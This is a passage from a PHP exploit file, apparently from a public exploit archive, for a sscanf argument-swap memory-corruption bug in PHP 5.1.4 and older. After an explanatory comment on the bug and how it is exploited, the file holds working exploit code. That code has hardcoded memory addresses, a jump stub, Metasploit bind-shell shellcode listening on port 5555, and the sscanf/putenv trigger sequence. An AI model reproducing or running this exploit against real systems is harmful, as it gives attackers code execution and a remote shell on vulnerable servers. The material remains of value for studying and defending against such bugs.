|
=0D
Affected versions: php 5.1.4 and older, 4.4.3 and possibly older=0D
=0D
Cause: when php-s sscanf functions format argument contains argument swap=0D
and extra arguments are given like.=0D
sscanf('foo ','$1s',$bar) then it reads an pointer to pointer to=0D
zval structure past the end of argument array by one.=0D
=0D
Php developers were notified and response and patching was quick. php bug tracker thread here: http://bugs.php.net/bug.php?id=38322=0D
=0D
Vulnearability is fixed in CVS.=0D
=0D
Exploiting:=0D
=0D
Attacker needs a double pointer to writable segment in remote binary which can be obtained by=0D
compiling a binary based on all info known about remote host and disassembling binary and searching.=0D
=0D
This exploit first fills php internally cached memory with address of pointer (double pointer)=0D
to writable segment. Then by unsetting the variable it frees memory, but does not=0D
zero it, so this way we pass our own pointers to sscanf.=0D
=0D
Now sscanf allocated array has valid element one past the array,=0D
sscanf tries to call a function to destruct zval structure.=0D
if its 15-th byte isnt anything valid it will default to doing nothing=0D
and will continue without errors and returns;=0D
=0D
sscanf now sets the structure to be of type string and writes=0D
pointer to string (it matched from our first argument to sscanf) and strings=0D
length to a structure-s value union. the strings address is written to first 4 bytes=0D
of structure.=0D
=0D
knowing this we construct our own binary zval structure of type object. + shellcode + space=0D
to match format. So now we have successfully called sscanf for the first time=0D
and we got something like ptrptr->ptr->zval-of-type-string in memory=0D
zval-of-type-string first 4 bytes point to our object we passed as argument.=0D
=0D
so now we fill the internal cached memory with just pointer to zval. and free it.=0D
when sscanf reads the pointer this time it now moves upwards one level but still=0D
dereferences twice. thus acts upon our zval structure of type object.=0D
when the destructor function now sees the zval is an object it will read=0D
a pointer from our structure to another structure which supposed to contain function=0D
pointers. it will call whatever the 2-cond element points to. all elements are 4 bytes long=0D
thus address pointed to by structures offset 4 is called.=0D
when we give it our ptr-to-zval - 4=0D
it will add 4 bytes to it and dereference it an call whatever is there. and=0D
there is address to our constructed zval object so we are executing code=0D
from the beginning of our structure. eip-hop-over will help us through=0D
unwanted bytes and we are on our way executing our shellcode.=0D
=0D
www.waraxe.us=0D
All buds from www.plain-text.info=0D
Torufoorum=0D
=0D
Thanks to metasploit.com for shellcode loan.=0D
*/=0D
=0D
// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro=0D
// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";=0D
// $ptr_to_zval = "\x10\x43\x54\xB0";=0D
// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4=0D
=0D
=0D
// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,=0D
// kernel 2.6.14-hardened-r3=0D
$ptr_to_ptr_to_zval = "\x08\x1A\x64\xC8";=0D
$ptr_to_zval = "\x08\x1A\x60\x0C";=0D
$ptr_to_obj_handlers = "\x08\x1A\x60\x08"; // $ptr_to_zval-4=0D
// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes=0D
$eip_hop_over = "\x90\x90\x90\xB8";=0D
=0D
# linux_ia32_bind - LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com=0D
$shellcode ==0D
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef".=0D
"\x57\xe6\x92\x83\xeb\xfc\xe2\xf4\xde\x8c\xb5\xd1\xbc\x3d\xe4\xf8".=0D
"\x89\x0f\x7f\x1b\x0e\x9a\x66\x04\xac\x05\x80\xfa\xfa\xe4\x80\xc1".=0D
"\x66\xb6\x8c\xf4\xb7\x07\xb7\xc4\x66\xb6\x2b\x12\x5f\x31\x37\x71".=0D
"\x22\xd7\xb4\xc0\xb9\x14\x6f\x73\x5f\x31\x2b\x12\x7c\x3d\xe4\xcb".=0D
"\x5f\x68\x2b\x12\xa6\x2e\x1f\x22\xe4\x05\x8e\xbd\xc0\x24\x8e\xfa".=0D
"\xc0\x35\x8f\xfc\x66\xb4\xb4\xc1\x66\xb6\x2b\x12";=0D
=0D
if(bin2hex(pack('S',0x0010))!="0010")=0D
{ // small endian conversion=0D
$t = $ptr_to_ptr_to_zval;=0D
$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};=0D
=0D
$t = $ptr_to_zval;=0D
$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};=0D
=0D
$t = $ptr_to_obj_handlers;=0D
$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};=0D
}=0D
=0D
$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.=0D
"\x05\x01\x90\x90".$shellcode."\xC3\x90\x90\x20";=0D
=0D
$str = str_repeat($ptr_to_ptr_to_zval,20);=0D
unset($str);=0D
=0D
sscanf(=0D
$object_zval,=0D
'%1$s',=0D
$str);=0D
=0D
putenv("PHP_foo=".str_repeat($ptr_to_zval,64));=0D
putenv("PHP_foo=");=0D
=0D
sscanf(=0D
"a ",=0D
'%1$s',=0D
$str);=0D
=0D
=0D
?>=0D